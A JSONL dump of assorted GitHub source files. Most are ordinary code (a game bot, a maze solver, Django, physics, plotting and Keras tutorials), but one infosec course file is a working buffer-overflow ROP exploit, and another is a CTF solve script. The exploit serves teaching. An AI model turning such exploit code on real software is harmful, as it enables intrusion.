restart_game(needSleep=0)\n continue\n\n tap_screen(res[1], res[2])\n if name.startswith(\"crop_continue\"):\n time.sleep(3)\n else:\n time.sleep(2)\n else: # 未匹配\n time.sleep(2)\n except Exception as e:\n error_count = error_count + 1\n logging.error(e, exc_info=True, stack_info=True)\n if error_count > 10:\n logging.warning(\"错误次数过多\")\n restart_game(needSleep=0)\n\n\ndef tapToStart():\n print(\"已用图片识别替代\")\n # tap_screen_convert(1007, 531) # 万象天工\n #\n # tap_screen_convert(90, 170) # 快捷入口第一个\n #\n # tap_screen_convert(658, 346) # 挑战\n #\n # tap_screen_convert(957, 640) # 下一步\n","repo_name":"DaveBoy/kog-money","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":8822,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"69"} +{"seq_id":"35309156990","text":"from utils.get_neighbours import get_neighbours\n\ndef get_neighbours_for_search(maze, i, j, visited):\n \"\"\"\n It returns the neighbours of a given cell in the maze, \n but only if the cell is not a wall\n \n :param maze: The maze we're working with\n :param i: the current row\n :param j: column\n :param visited: a list of tuples that represent the coordinates of the cells that have been visited\n :return: A list of tuples.\n \"\"\"\n\n partial_neighbours = get_neighbours(maze, i, j, visited)\n neighbours = []\n\n for neighbour in partial_neighbours:\n if neighbour[0] == i and neighbour[1] == j + 2 :\n if maze[i][j+1] == '1':\n neighbours.append(neighbour)\n elif neighbour[0] == i and neighbour[1] == j - 2:\n if maze[i][j-1] == '1':\n neighbours.append(neighbour)\n elif neighbour[0] == i + 2 and neighbour[1] == j:\n if maze[i+1][j] == '1':\n neighbours.append(neighbour)\n elif neighbour[0] == i - 2 and neighbour[1] == j:\n if maze[i-1][j] == '1':\n neighbours.append(neighbour)\n\n return neighbours","repo_name":"YeyoM/mazeSolver","sub_path":"utils/get_neighbours_for_search.py","file_name":"get_neighbours_for_search.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"10681251972","text":"import hashlib\nimport json\nfrom tempfile import NamedTemporaryFile\n\nimport yaml\n\nfrom django.contrib.postgres.fields import JSONField\nfrom django.db import models\nfrom django_extensions.db.models import TitleSlugDescriptionModel\n\nfrom ..utils import log, split_kubeconfig\n\nQUERY_TEMPLATE = \"{}://{}/api/v1/query?query={}\"\nRANGE_TEMPLATE = \"{}://{}/api/v1/query_range?query={}&start={}&end={}&step={}\"\n\nTELEMETRY_SOURCE = ((\"p\", \"Prometheus\"),)\n\n\nclass TargetCluster(TitleSlugDescriptionModel):\n \"\"\"\n TargetCluster\n :type: model\n :description: Holds data related to a cluster context.\n :inherits: django_extensions.db.models.TitleSlugDescriptionModel\n :fields: api_endpoint, telemetry_endpoint, telemetry_source, config\n \"\"\"\n\n api_endpoint = models.URLField(help_text=\"Cluster Endpoint URL\")\n telemetry_endpoint = models.URLField(help_text=\"Telemetry Endpoint URL\")\n telemetry_source = models.CharField(max_length=5, default=\"p\", choices=TELEMETRY_SOURCE)\n config = JSONField(\n help_text=\"Equivalent to .kube/config but all JSON\",\n null=True,\n )\n\n @classmethod\n def add(cls, kubeconfig):\n \"\"\"Class method to a new TargetCluster\n\n Args:\n kubeconfig (str) - string contents of kubeconfig file\n Returns:\n list(TargetCluster)\n \"\"\"\n if not isinstance(kubeconfig, bytes):\n kubeconfig = kubeconfig.encode(\"utf-8\")\n config_hash_str = hashlib.md5().hexdigest()[:8]\n config_data = yaml.safe_load(kubeconfig, Loader=yaml.FullLoader)\n ret_val = []\n for item in config_data.get(\"clusters\", []):\n cluster, created = TargetCluster.objects.get_or_create(title=item.get(\"name\"), api_endpoint=item.get(\"cluster\", {}).get(\"server\"))\n if created:\n ret_val.append(cluster)\n cluster.config = str(json.dumps(config_data))\n cluster.save()\n for config_obj in split_kubeconfig(kubeconfig):\n cluster, created = TargetCluster.objects.get_or_create(\n title=config_obj.get(\"clusters\", [])[0].get(\"name\"), api_endpoint=config_obj.get(\"clusters\", [])[0].get(\"cluster\", {}).get(\"server\")\n )\n ret_val.append(cluster)\n if created:\n cluster.config = config_data\n cluster.save()\n log.info(\"Created new cluster record for {} @ {}\".format(cluster.title, cluster.api_endpoint))\n else:\n log.warning(\n \"Cluster record for {} @ {} already existed - \\\n TargetCluster not added\".format(\n cluster.title, cluster.api_endpoint\n )\n )\n if ret_val:\n log.info(\"Added {} clusters\".format(len(ret_val)))\n else:\n log.warning(\"No clusters added\")\n return ret_val\n","repo_name":"IntrospectData/django-kubernetes-manager","sub_path":"kubernetes_manager/models/target_cluster.py","file_name":"target_cluster.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"69"} +{"seq_id":"218887087","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 25 10:02:02 2023.\n\n@author: Danil\n\"\"\"\n\nimport math\nimport scipy.constants as cnst\n\ndef q_of_P (P, S):\n \"\"\"\n Возвращает скорость потка газа, зна�� давление и скорость накачки.\n \n Parameters\n ----------\n P : TYPE\n Давление подаваемого газа (Па).\n S : TYPE\n Скорость накачки подаваемого газа (м3/c).\n\n Returns\n -------\n q : TYPE\n Скорость потока газа (Па*м3/с).\n \"\"\" \n q = P*S\n return q\n\n\n\ndef F_of_P (P, T, M):\n \"\"\"\n Возвращает молекулярнй поток реагирующего газа.\n\n Parameters\n ----------\n P : TYPE\n Давление подаваемого газа (Па).\n T : TYPE\n Абсолютная температура реакционного газа (K).\n M : TYPE\n Молекулярная масса реактивного газа (кг).\n\n Returns\n -------\n F : TYPE\n Молекулярный поток реактивного газа (молекул/(м2*с))\n \"\"\"\n F = P/math.sqrt(2 * cnst.pi * cnst.Boltzmann * T * M)\n return F\n\n\ndef theta_t_of_alpha(k, n, alpha0_target, alpha0_compound, F, J, S_compound):\n \"\"\"\n Возвращает долю прореагировавшей поверхности мишени из коэффициент задерживания молекулы окислителя на поверхности мишени.\n \n Parameters\n ----------\n k : TYPE\n Количество атомов мишени в соединение (в Cr2O3 - 2).\n n : TYPE\n Количество атомов окислителя в соединение на один атом мишени (в Cr2O3 - 1.5). \n alpha0_target : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени.\n alpha0_compound : TYPE\n Коэффициент задерживания молекулы окислителя на прореагировавшей поверхности мишени.\n F : TYPE\n Молекулярный поток реактивного газа (молекул/(м2*с)) .\n J : TYPE\n Плотность потока ионов аргона распыляющих мешень (молекул/(м2*с)).\n S_compound : TYPE\n Коэффициент распыления прореагировавшего материала.\n\n Returns\n -------\n tetha : TYPE\n Доля прореагировавшей поверхности мишени.\n\n \"\"\"\n kn = k/n \n a = kn * alpha0_target * F\n b = (kn * F * (alpha0_target - alpha0_compound)) + (J / cnst.elementary_charge * S_compound)\n tetha_t = a / b\n \n return tetha_t\n\n\n\ndef theta_c_of_alpha(k, n, tetha_t, alpha0_target, alpha0_compound, F, J, S_target, S_compound, A_t, A_c):\n \"\"\"\n Возвращает долю прореагировавшей поверхности стенок\n\n Parameters\n ----------\n k : TYPE\n Количество атомов мишени в соединение (в Cr2O3 - 2).\n n : TYPE\n Количество атомов окислителя в соединение на один атом мишени (в Cr2O3 - 1.5). \n tetha_t : TYPE\n Доля прореагировавшей поверхности мишени.\n alpha0_target : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени.\n alpha0_compound : TYPE\n Коэффициент задерживания молекулы окислителя на прореагировавшей поверхности мишени.\n F : TYPE\n Молекулярный поток реактивного газа (молекул/(м2*с)).\n J : TYPE\n Плотность потока ионов аргона распыляющих мешень (молекул/(м2*с)).\n S_target : TYPE\n Коэффициент распыления материала мишени.\n S_compound : TYPE\n Коэффициент распыления прореагировавшего материала.\n A_t : TYPE\n Площади поверхности мишеней\n A_c : TYPE\n Площадь поверхности держателя подложки + стенки камеры.\n\n Returns\n -------\n tetha_c : TYPE\n Доля прореагировавшей поверхности стенок камеры.\n\n \"\"\"\n \n kn = k/n \n Je = J / cnst.elementary_charge\n A_tc = A_t / A_c\n \n a = (kn * alpha0_target * F) + (Je * S_compound * tetha_t * A_tc) \n b = (kn * alpha0_target * F) + (Je * S_compound * tetha_t * A_tc) - (kn * alpha0_compound * F) + (Je * S_target * (1 - tetha_t) * A_tc)\n tetha_c = a / b\n \n return tetha_c\n \n \ndef q_of_tetha (alpha0_target, alpha0_compound, F, theta, A, K1 = 3.7e-21):\n \"\"\"\n Возврщает поток потребляемого реакционного газа.\n\n Parameters\n ----------\n alpha0_target : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени.\n alpha0_compound : TYPE\n Коэффициент задерживания молекулы окислителя на прореагировавшей поверхности мишени.\n F : TYPE\n Молекулярный поток реактивного газа (молекул/(м2*с)).\n theta : TYPE\n Доля прореагировавшей поверхности.\n A : TYPE\n Площадь поверхности.\n K1 : TYPE, optional\n Коэффициент пересчёта. The default is 3.7e-21.\n\n Returns\n -------\n Поток потребляемого реакционного газа (Pa*m^3/s).\n\n \"\"\"\n q = K1 * ((alpha0_target * F * (1 - theta)) + (alpha0_compound * F * theta)) * A\n return q\n\n\ndef R_of_tetha (J, S_compound, S_target, tetha_t):\n \"\"\"\n Возвращает скорость распления мишени\n\n Parameters\n ----------\n J : TYPE\n Плотность потока ионов аргона распыляющих мешень (молекул/(м2*с)).\n S_compound : TYPE\n Коэффициент распыления прореагировавшего материала.\n S_target : TYPE\n Коэффициент распыления материала мишени.\n tetha_t : TYPE\n Доля прореагировавшей поверхности мишени.\n\n Returns\n -------\n R : TYPE\n Скорость распления мишени (молекул/(м2*с)).\n\n \"\"\"\n \n Je = J / cnst.elementary_charge\n R = Je * (S_compound * tetha_t + S_target * (1 - tetha_t))\n return R\n\ndef t_of_F (k, n, J, alpha0_target, F, S_compound):\n \"\"\"\n Возвращает t = (1 - theta_t)\n\n Parameters\n ----------\n k : TYPE\n Количество атомов мишени в соединение (в Cr2O3 - 2).\n n : TYPE\n Количество атомов окислителя в соединение на один атом мишени (в Cr2O3 - 1.5).\n J : TYPE\n Плотность потока ионов аргона распыляющих мешень (молекул/(м2*с)).\n alpha0_target : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени.\n F : TYPE\n Молекулярный поток реактивного газа (молекул/(м2*с)).\n S_compound : TYPE\n Коэффициент распыления прореагировавшего материала.\n\n Returns\n -------\n t : TYPE\n t = (1 - theta_t)\n\n \"\"\"\n kn = k / n\n Je = J / cnst.elementary_charge\n \n a = kn * alpha0_target * F\n b = Je * S_compound\n \n t = (a/b + 1)**-1\n return t\n\ndef c_of_F (k, n, alpha0_target, alpha0_compound, F, J, S_target, S_compound, A_t, A_c):\n \"\"\"\n Возвращает c = (1 - theta_c).\n\n Parameters\n ----------\n k : TYPE\n Количество атомов мишени в соединение (в Cr2O3 - 2).\n n : TYPE\n Количество атомов окислителя в соединение на один атом мишени (в Cr2O3 - 1.5). \n alpha0_target : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени.\n alpha0_compound : TYPE\n Коэффициент задерживания молекулы окислителя на прореагировавшей поверхности мишени.\n F : TYPE\n Молекулярный поток реактивного газа (молекул/(м2*с)).\n J : TYPE\n Плотность потока ионов аргона распыляющих мешень (молекул/(м2*с)).\n S_target : TYPE\n Коэффициент распыления материала мишени.\n S_compound : TYPE\n Коэффициент распыления прореагировавшего материала.\n A_t : TYPE\n Площади поверхности мишеней\n A_c : TYPE\n Площадь поверхности держателя подложки + стенки камеры.\n\n Returns\n -------\n c : TYPE\n c = (1 - theta_c).\n\n \"\"\"\n kn = k / n\n eF = cnst.elementary_charge * F \n A_t_c = A_t / A_c\n \n a = (S_target/S_compound) * (A_t_c)\n b1 = (kn * alpha0_target * eF / (J * S_compound))**2\n b2 = eF / (J * S_compound) * (kn * alpha0_target + A_t_c * kn * alpha0_target)\n b3 = S_target/S_compound * A_t_c\n \n c = a / (b1 + b2 + b3)\n return c\n\ndef K_calc (T, M0, K1 = 3.7e-21):\n \"\"\"\n Возвращает К, нужный для характеристической функции\n\n Parameters\n ----------\n T : TYPE\n Абсолютная температура реакционного газа (K).\n M : TYPE\n Молекулярная масса реактивного газа (кг).\n K1 : TYPE, optional\n Коэфициент пересчета. The default is 3.7e-21.\n\n Returns\n -------\n K : TYPE\n DESCRIPTION.\n\n \"\"\"\n K = math.sqrt(2 * cnst.pi * cnst.Boltzmann * T * M0)/K1\n return K\n\ndef q_of_F_t_c (F, t_1, t_2, c_1, c_2, \n A_t1, A_t2, A_c1, A_c2,\n alpha0_target1, alpha0_target2, S_a, K1 = 3.7e-21):\n \"\"\"\n Вычисляет поток кислорада (Pa*m^3/s)\n\n Parameters\n ----------\n F : TYPE\n Молекулярный поток реактивного газа (молекул/(м2*с)).\n t_1 : TYPE\n DESCRIPTION.\n t_2 : TYPE\n DESCRIPTION.\n c_1 : TYPE\n DESCRIPTION.\n c_2 : TYPE\n DESCRIPTION.\n A_t1 : TYPE\n Площади поверхности мишени 1.\n A_t2 : TYPE\n Площади поверхности мишени 2.\n A_c1 : TYPE\n Площадь поверхности держателя подложки + стенки камеры у мишени 1.\n A_c2 : TYPE\n Площадь поверхности держателя подложки + стенки камеры у мишени 2.\n alpha0_target1 : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени 1.\n alpha0_target2 : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени 2.\n S_a : TYPE\n Пересчтаный коэфициент откачки S_a = KS.\n K1 : TYPE, optional\n Коэфициент пересчета. The default is 3.7e-21.\n\n Returns\n -------\n Поток кислорада (Pa*m^3/s).\n\n \"\"\"\n \n a1 = t_1 * alpha0_target1 * A_t1 \n a2 = t_2 * alpha0_target2 * A_t2\n a3 = c_1 * alpha0_target1 * A_c1\n a4 = c_2 * alpha0_target2 * A_c2\n \n q_O2 = K1 * F * (a1 + a2 + a3 + a4 + S_a)\n return q_O2\n\n\n\ndef dq_dp (S, K, t_1, t_2, c_1, c_2,\n A_t1, A_t2, A_c1, A_c2,\n S_target_1, S_compound_1,\n S_target_2, S_compound_2,\n alpha0_target1, alpha0_target2):\n \"\"\"\n Вычисляет дифирениал потока кислорода от изменения его давления (Pa*m^3/s).\n\n Parameters\n ----------\n S : TYPE\n Скорость перекачки (м3/с)\n K : TYPR\n Коэфицент пересчёта с чётом тмпературы и массы молекулы газа см. K_calc\n t_1 : TYPE\n DESCRIPTION.\n t_2 : TYPE\n DESCRIPTION.\n c_1 : TYPE\n DESCRIPTION.\n c_2 : TYPE\n DESCRIPTION.\n A_t1 : TYPE\n Площади поверхности мишени 1.\n A_t2 : TYPE\n Площади поверхности мишени 2.\n A_c1 : TYPE\n Площадь поверхности держателя подложки + стенки камеры у мишени 1.\n A_c2 : TYPE\n Площадь поверхности держателя подложки + стенки камеры у мишени 2.\n S_target : TYPE\n Коэффициент распыления материала мишени 1.\n S_compound : TYPE\n Коэффициент распыления прореагировавшего материала 1.\n S_target : TYPE\n Коэффициент распыления материала мишени 2.\n S_compound : TYPE\n Коэффициент распыления прореагировавшего материала 2.\n alpha0_target1 : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени 1.\n alpha0_target2 : TYPE\n Коэффициент задерживания молекулы окислителя на непрореагировавшей поверхности мишени 2.\n S_a : TYPE\n Пересчтаный коэфициент откачки S_a = KS.\n K1 : TYPE, optional\n Коэфициент пересчета. The default is 3.7e-21.\n\n Returns\n -------\n dq/dp.\n\n \"\"\"\n\n \n a1 = alpha0_target1 * A_c1 * c_1**2 * ( (S_compound_1/S_target_1) * (A_c1/A_t1) * ((1 - t_1)/t_1)**2 - 1)\n a2 = alpha0_target2 * A_c2 * c_2**2 * ( (S_compound_2/S_target_2) * (A_c2/A_t2) * ((1 - t_2)/t_2)**2 - 1)\n a3 = alpha0_target1 * A_t1 * t_1**2\n a4 = alpha0_target2 * A_t2 * t_2**2\n \n dq_dp = S - (1/K) * (a1 + a2 - a3 - a4)\n return dq_dp\n\n\nif __name__ == \"__main__\":\n\n q = q_of_P(10, 20)\n print(q)\n\n F = F_of_P(10, 273, 16)\n print(F)\n\n theta_t = theta_t_of_alpha(1, 1, 10, 20, 30, 1, 20)\n print(theta_t)\n\n theta_с = theta_c_of_alpha(k=4, n=3, tetha_t=10, alpha0_target=20,\n alpha0_compound=40, F=1, J=1,\n S_target=1, S_compound=1, A_t=2, A_c=1)\n print(theta_с)\n","repo_name":"Dagan3D/Two-target-deposition-model","sub_path":"Sup_functions.py","file_name":"Sup_functions.py","file_ext":"py","file_size_in_byte":16003,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72984081179","text":"import os\nimport re\nimport struct\nimport subprocess\n\nimport rop\n\n\n# Find what's the offset of buff from the return address.\nfor n in range(1024, 2048):\n magic = 'b'*4\n buff = 'a'*n + magic\n print('trying buff size %d...' % n)\n # This time we'll be working with core dumps to avoid gdb/python differences.\n if os.path.exists('core'):\n os.remove('core')\n pid = os.fork()\n if pid == 0:\n os.execl('./a', './a', buff)\n pid, exit_code = os.waitpid(pid, 0)\n if exit_code == 0:\n print('program did not crash')\n continue\n if not os.path.exists('core'):\n print('no core file created')\n continue\n try:\n # gdb <program> --batch -ex <command> -ex <command> ... loads <program> into gdb and runs all the <commands> on it.\n output = subprocess.check_output(['gdb', './a', '--batch',\n '-ex', 'core core',\n '-ex', 'print $eip',\n '-ex', 'quit',\n ])\n except subprocess.CalledProcessError:\n print('gdb crashed')\n continue\n # The \"print $eip\" command prints $1 = 0x...\n eip = re.search(r'\\$1 =.*?0x([0-9a-f]*)', output).group(1)\n if eip == magic.encode('hex'):\n break\nprint('buff offset is %d' % n)\n\nmov_eax = rop.find_gadget('MOV EAX, 1')[0]\npop_ebx = rop.find_gadget('POP EBX')[0] # gadget 'MOV EBX, 3' not found :(\ninc_ebx = rop.find_gadget('INC EBX')[0]\nint_0x80 = rop.find_gadget('INT 0x80')[0]\n\n# Create our shellcode.\nshellcode = 'a'*n + struct.pack('<IIiIIIII', mov_eax, pop_ebx, -1, inc_ebx, inc_ebx, inc_ebx, inc_ebx, int_0x80)\n\n# Let's go!\nos.execl('./a', './a', shellcode)\n","repo_name":"dan-gittik/infosec17","sub_path":"13_rop/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"72124302941","text":"import requests\n\nURL = \"http://readme.chal.idek.team:1337/\"\n\n\ndef get(payload: str, url=URL):\n res = requests.get(url+\"/just-read-it\",\n json={\n \"orders\": payload\n },\n proxies={\"http\": \"http://localhost:8080\"}\n )\n return res.text\n\n\nif __name__ == \"__main__\":\n a = get([\n 100,\n 100,\n 100,\n 99,\n 99,\n 99,\n 8,\n 32\n ])\n print(a)\n","repo_name":"dimasma0305/My-CTF-Archive","sub_path":"Competition/2023/idek-ctf-2022/web/Readme/attachments/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"8183027570","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# case_time_series.csv dataset has 7 column. We will be collecting Daily Confirmed Daily Recovered and Daily Deceased in variables as array.\ndata = pd.read_csv('/Users/atnafudargaso/Documents/git_work/using-matplotlib-project/Data-Visualization-using-matplotlib-project/case_time_series.csv')\n# print(data) check data by uncomment \n\nY = data.iloc[61:,1].values # print out the from 61 row and column 1= confirmed case\n#print(Y)\nR = data.iloc[61:,3].values\n# print out the from 61 row and column 3 = recovered case\nD = data.iloc[61:,5].values\n# print out the from 61 row and column 1= decased case\nX = data.iloc[61:,0]\n#print(X) uncommit and check the result \n\n# This creates a canvas for the graph where the first value ‘25’ is the width argument position and ‘8’ is the height argument position of the graph.\nplt.figure(figsize=(25,8))\n \nax = plt.axes()\n# ‘.grid’ function lets you create grid lines across the graph.\n# The width of the grid lines can be adjusted by simply passing an argument ‘linewidth’ and changing its color by passing ‘color’ argument.\n\nax.grid(linewidth=0.4, color='#8f8f8f')\n # late make back color white or red using the ax.set_facecolor\nax.set_facecolor(\"red\")\n\n# ax.sex_Xlabele = x-axise arrange in x-axise and choose the color '' .\n\nax.set_xlabel('\\nDate',size=25,color='#4bb4f2')\n\n# ax.set_ylabel information on the y-axise\nax.set_ylabel('Number of Confirmed Cases\\n',\n size=25,color='#4bb4f2')\n# then plot the graphy\n \nax.plot(X,Y,\n color='#1F77B4',\n marker='o',\n linewidth=4,\n markersize=15,\n markeredgecolor='#035E9B')\nplt.plot(X,Y)\nplt.show()","repo_name":"habtamuadargaso/Data-Visualization-using-matplotlib-project","sub_path":"project_part2_aesthetic_graphy/aesthetics_graph_part2.py","file_name":"aesthetics_graph_part2.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10709774162","text":"import sys\ninput = sys.stdin.readline\n\ndef bfs(x, y, visit):\n queue = [[x, y]]\n visit[x][y] = 1\n dx, dy = [-1, 1, 0, 0], [0, 0, -1, 1]\n \n while queue:\n x, y = queue.pop(0)\n for i in range(4):\n nx, ny = x + dx[i], y + dy[i]\n if 0 <= nx < m and 0 <= ny < n:\n if not visit[nx][ny] and matrix[nx][ny] == 1:\n visit[nx][ny] = 1\n queue.append([nx, ny])\n \n \nfor _ in range(int(input())):\n m, n, k = map(int, input().split())\n matrix = [[0] * n for _ in range(m)]\n for _ in range(k):\n a, b = map(int, input().split())\n matrix[a][b] = 1\n \n visit = [[0] * n for _ in range(m)] \n answer = 0 \n for i in range(m):\n for j in range(n):\n if not visit[i][j] and matrix[i][j] == 1:\n answer += 1\n bfs(i, j, visit)\n \n print(answer)\n","repo_name":"heyazoo1007/Algorithm","sub_path":"BaekJoon/Search/baekJoon_1012.py","file_name":"baekJoon_1012.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37759130994","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 16 15:01:51 2019\r\n\r\n@author: jacqueline.cortez\r\n\r\nChapter 3. Improving Your Model Performance\r\nIntroduction:\r\n In the previous chapters, you've trained a lot of models! You will now learn how to interpret \r\n learning curves to understand your models as they train. You will also visualize the effects of \r\n activation functions, batch-sizes, and batch-normalization. \r\n Finally, you will learn how to perform automatic hyperparameter optimization to your Keras models \r\n using sklearn.\r\n\"\"\"\r\nprint(\"****************************************************\")\r\nprint(\"** BEGIN **\")\r\nprint(\"****************************************************\")\r\nprint(\"** Importing libraries \\n\")\r\n\r\nimport matplotlib.pyplot as plt #For creating charts\r\nimport numpy as np #For making operations in lists\r\nimport pandas as pd #For loading tabular data\r\nimport tensorflow as tf #For DeapLearning\r\n\r\nfrom keras.callbacks import EarlyStopping #For DeapLearning\r\nfrom keras.callbacks import ModelCheckpoint #For DeapLearning\r\nfrom keras.layers import Dense #For DeapLearning\r\nfrom keras.models import Sequential #For DeapLearning\r\nfrom keras.optimizers import Adam #For DeapLearning\r\nfrom keras.utils import plot_model #For DeapLearning\r\nfrom keras.wrappers.scikit_learn import KerasClassifier #For DeapLearning\r\n\r\nfrom sklearn.model_selection import cross_val_score #For learning machine\r\nfrom sklearn.model_selection import KFold #For learning machine\r\nfrom sklearn.model_selection import GridSearchCV #For learning machine\r\nfrom sklearn.model_selection import RandomizedSearchCV #For learning machine\r\nfrom sklearn.model_selection import train_test_split #For learning machine\r\n\r\nprint(\"****************************************************\")\r\nprint(\"** Preparing the environment \\n\")\r\n\r\nSEED=42\r\nnp.random.seed(SEED)\r\ntf.compat.v1.set_random_seed(SEED) #Instead of tf.set_random_seed, because it is deprecated.\r\n\r\nprint(\"****************************************************\")\r\nprint(\"** User functions \\n\")\r\n\r\ndef model_display(model, sup_title, file_name):\r\n \"\"\"\r\n model_display function make a plot of the defined model. This function need the followin parameters:\r\n model: the model to plot.\r\n sup_title: the text that is going to be printed as suptitle in the plot.\r\n file_name: the file where to save the image.\r\n \"\"\"\r\n print(model.summary()) # Summarize your model\r\n \r\n plot_model(model, to_file=file_name, show_shapes=False, show_layer_names=True, rankdir='TB') # rankdir='TB' makes vertical plot and rankdir='LR' creates a horizontal plot\r\n \r\n # Plotting the model\r\n plt.figure()\r\n data = plt.imread(file_name) # Display the image\r\n plt.imshow(data)\r\n plt.axis('off');\r\n plt.title('Defined Model')\r\n plt.suptitle(sup_title)\r\n #plt.subplots_adjust(left=0.2, bottom=None, right=None, top=0.88, wspace=0.3, hspace=None)\r\n plt.show()\r\n\r\ndef learning_curve_compare(train, validation, metrics, sup_title):\r\n \"\"\"\r\n learning_curve_compare function show the curve of the learning performance. \r\n This function need the followin parameters:\r\n - train: the metrics result in the train data per epochs.\r\n - validation: the metrics result in the validation data per epochs.\r\n - metrics: the metrics that is tracked and is going to show in the plot.\r\n - sup_title: the text that is going to be printed as suptitle in the plot.\r\n \"\"\"\r\n plt.figure()\r\n plt.plot(train)\r\n plt.plot(validation)\r\n plt.title('Model {}'.format(metrics))\r\n plt.ylabel(metrics)\r\n plt.xlabel('Epoch')\r\n plt.legend(['Train', 'Test'])\r\n plt.suptitle(sup_title)\r\n plt.show()\r\n\r\ndef plot_results(train_accs, test_accs, train_sizes, sup_title):\r\n \"\"\"\r\n plot_results function shows the evolution of accuracy in the learning process through different size samples.\r\n This function needs the following parameters:\r\n - train_accs: the accuracy tracked with the train data.\r\n - test_accs: the accuracy tracked with the validation data.\r\n - train_sizes: the different sizes of samples using to train and test.\r\n - sup_title: the text that is going to be printed as suptitle in the plot.\r\n \"\"\"\r\n plt.figure()\r\n plt.plot(train_sizes, train_accs, 'o-', label=\"Training Accuracy\")\r\n plt.plot(train_sizes, test_accs, 'o-', label=\"Test Accuracy\")\r\n plt.xticks(train_sizes); \r\n plt.title('Accuracy vs Number of training samples')\r\n plt.xlabel('Training samples')\r\n plt.ylabel('Accuracy')\r\n plt.legend(loc=\"best\")\r\n plt.suptitle(sup_title)\r\n plt.show()\r\n \r\ndef compare_histories_acc(h1,h2,metric='acc',ylabel='Accuracy',sup_title=''):\r\n \"\"\"\r\n compare_histories_acc funtion shows the comparative learning curve, between Batchnormalized and standard model.\r\n This function needs the following parameters:\r\n - h1: the metrics saved in the normal standard model.\r\n - h2: the matrics saved in the normalized model.\r\n - metrics: metrics tracked in the models.\r\n - ylabel: the label of y axis.\r\n - sup_title: the text that is going to be printed as suptitle in the plot.\r\n \"\"\"\r\n plt.figure()\r\n plt.plot(h1.history[metric])\r\n plt.plot(h1.history['val_{}'.format(metric)])\r\n plt.plot(h2.history[metric])\r\n plt.plot(h2.history['val_{}'.format(metric)])\r\n plt.title(\"Batch Normalization Effects\")\r\n plt.xlabel('Epoch')\r\n plt.ylabel(ylabel)\r\n plt.legend(['Train', 'Test', 'Train with Batch Normalization', 'Test with Batch Normalization'], loc='best')\r\n plt.suptitle(sup_title)\r\n plt.show()\r\n\r\n\r\ndef create_model(learning_rate=0.01, activation='relu', input_shape=(30,)):\r\n \"\"\"\r\n create_model function creates a model given an activation and learning rate.\r\n \"\"\"\r\n opt = Adam(lr=learning_rate) # Create an Adam optimizer with the given learning rate\r\n model = Sequential() # Create your binary classification model \r\n model.add(Dense(128, input_shape=input_shape, activation=activation))\r\n model.add(Dense(256, activation=activation))\r\n model.add(Dense(1, activation='sigmoid'))\r\n model.compile(optimizer=opt, loss='binary_crossentropy', metrics=['accuracy']) # Compile your model with your optimizer, loss, and metrics\r\n return model\r\n\r\n\r\ndef create_model_big(learning_rate=0.01, activation='relu', nl=1, nn=256, input_shape=(30,)):\r\n \"\"\"\r\n create_model_big function creates a model given an activation, learning rate, number of layers (nl)\r\n and number of neurons (nn) inside each layer.\r\n \"\"\"\r\n opt = Adam(lr=learning_rate) # Create an Adam optimizer with the given learning rate\r\n model = Sequential() # Create your binary classification model \r\n model.add(Dense(128, input_shape=input_shape, activation=activation))\r\n for i in range(nl): # Add as many hidden layers as specified in nl.\r\n model.add(Dense(nn, activation=activation))\r\n model.add(Dense(1, activation='sigmoid'))\r\n model.compile(optimizer=opt, loss='binary_crossentropy', metrics=['accuracy']) # Compile your model with your optimizer, loss, and metrics\r\n return model\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = \"Reading the data\"; print(\"** %s\\n\" % tema)\r\n\r\nfile = 'wbc.csv'\r\nwbc_df = pd.read_csv(file, index_col='id')\r\nWBC_X = wbc_df.drop(['diagnosis', 'Unnamed: 32'], axis=1)\r\nWBC_y = wbc_df.diagnosis.map({'B':0, 'M':1})\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(WBC_X, WBC_y, test_size=0.2, stratify=WBC_y, random_state=SEED)\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = \"15. Tuning the model parameters\"; print(\"** %s\\n\" % tema)\r\n\r\nmodel = KerasClassifier(build_fn=create_model) # Create a KerasClassifier\r\nparams = {'activation' :['relu', 'tanh'], \r\n 'batch_size' :[32, 128, 256], \r\n 'epochs' :[50, 100, 200], \r\n 'learning_rate':[0.1, 0.01, 0.001]} # Define the parameters to try out\r\n\r\nrandom_search = RandomizedSearchCV(model, param_distributions=params, cv=KFold(3), iid=False) # Create a randomize search cv object and fit it on the data to obtain the results\r\n#best_params = {'learning_rate': 0.001, 'epochs': 200, 'batch_size': 128, 'activation': 'tanh'}\r\n\r\n#random_search = GridSearchCV(model, param_grid=params, cv=KFold(3), iid=False) # 